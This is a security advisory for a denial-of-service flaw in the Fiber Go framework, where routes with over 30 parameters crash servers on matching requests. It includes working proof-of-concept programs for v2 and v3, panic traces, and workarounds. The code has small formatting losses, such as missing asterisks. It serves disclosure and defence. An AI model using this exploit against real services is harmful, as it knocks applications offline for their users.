A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

- Fiber v3.0.0-rc.3 and earlier v3 releases - Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable) - Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

go const maxParams = 30

type DefaultCtx struct { values [maxParams]string // Fixed 30-element array // ... }

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

- v3: path.go:514 - v2: path.go:516

go // path.go:514 - NO BOUNDS CHECKING params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers: panic: runtime error: index out of range [30] with length 30

Attack Scenario

1. Application registers route with >30 parameters (e.g., via code or dynamic routing): go app.Get("/api/:p1/:p2/:p3/.../p35", handler)

2. Attacker sends matching HTTP request: bash curl http://target/api/v1/v2/v3/.../v35

3. Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

go package main

import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v3" )

func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9999") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9999/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }

Output: Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request... Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]: github.com/gofiber/fiber/v3.(routeParser).getMatch(...) /path/to/fiber/path.go:514 github.com/gofiber/fiber/v3.(Route).match(...) /path/to/fiber/router.go:89 github.com/gofiber/fiber/v3.(App).next(...) /path/to/fiber/router.go:142

For Fiber v2

go package main

import ( "fmt" "net/http" "time" "github.com/gofiber/fiber/v2" )

func main() { app := fiber.New() // Register route with 35 parameters (exceeds maxParams=30) path := "/test" for i := 1; i <= 35; i++ { path += fmt.Sprintf("/:p%d", i) } fmt.Printf("Registering route: %s...\n", path[:50]+"...") app.Get(path, func(c fiber.Ctx) error { return c.SendString("Never reached") }) fmt.Println("✓ Registration succeeded (NO PANIC)") go func() { app.Listen(":9998") }() time.Sleep(200 time.Millisecond) // Build exploit URL with 35 parameter values url := "http://localhost:9998/test" for i := 1; i <= 35; i++ { url += fmt.Sprintf("/v%d", i) } fmt.Println("\n🔴 Sending exploit request...") fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n") resp, err := http.Get(url) if err != nil { fmt.Printf("✗ Request failed: %v\n", err) fmt.Println("💥 Server crashed!") } else { fmt.Printf("Response: %d\n", resp.StatusCode) resp.Body.Close() } }

Output (v2): Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10... ✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request... Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]: github.com/gofiber/fiber/v2.(routeParser).getMatch(...) /path/to/fiber/v2@v2.52.10/path.go:512 github.com/gofiber/fiber/v2.(Route).match(...) /path/to/fiber/v2@v2.52.10/router.go:84 github.com/gofiber/fiber/v2.(App).next(...) /path/to/fiber/v2@v2.52.10/router.go:127

Impact

Exploitation Requirements - No authentication required - Single HTTP request triggers crash - Trivially scriptable for sustained DoS - Works against any route with >30 parameters

Real-World Impact - Public APIs: Remote DoS attacks on vulnerable endpoints - Microservices: Cascade failures if vulnerable service is critical - Auto-scaling: Repeated crashes prevent proper recovery - Monitoring: Log flooding and alert fatigue

Likelihood HIGH - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request

Workarounds

Until patched, users should:

1. Audit Routes: Ensure all routes have ≤30 parameters bash # Search for potential issues grep -r "/:./:./:." . | grep -v nodemodules

2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count: go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }

3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact

4. Monitoring: Alert on panic patterns in application logs

Timeline

- 2024-12-24: Vulnerability discovered in v3 during PR #3962 review - 2024-12-25: Proof of concept confirmed exploitability in v3 - 2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause) - 2024-12-25: Security advisory created

References

- v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause) - Vulnerable Code Locations: - v3: path.go:514 - v2: path.go:516

Credit

Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev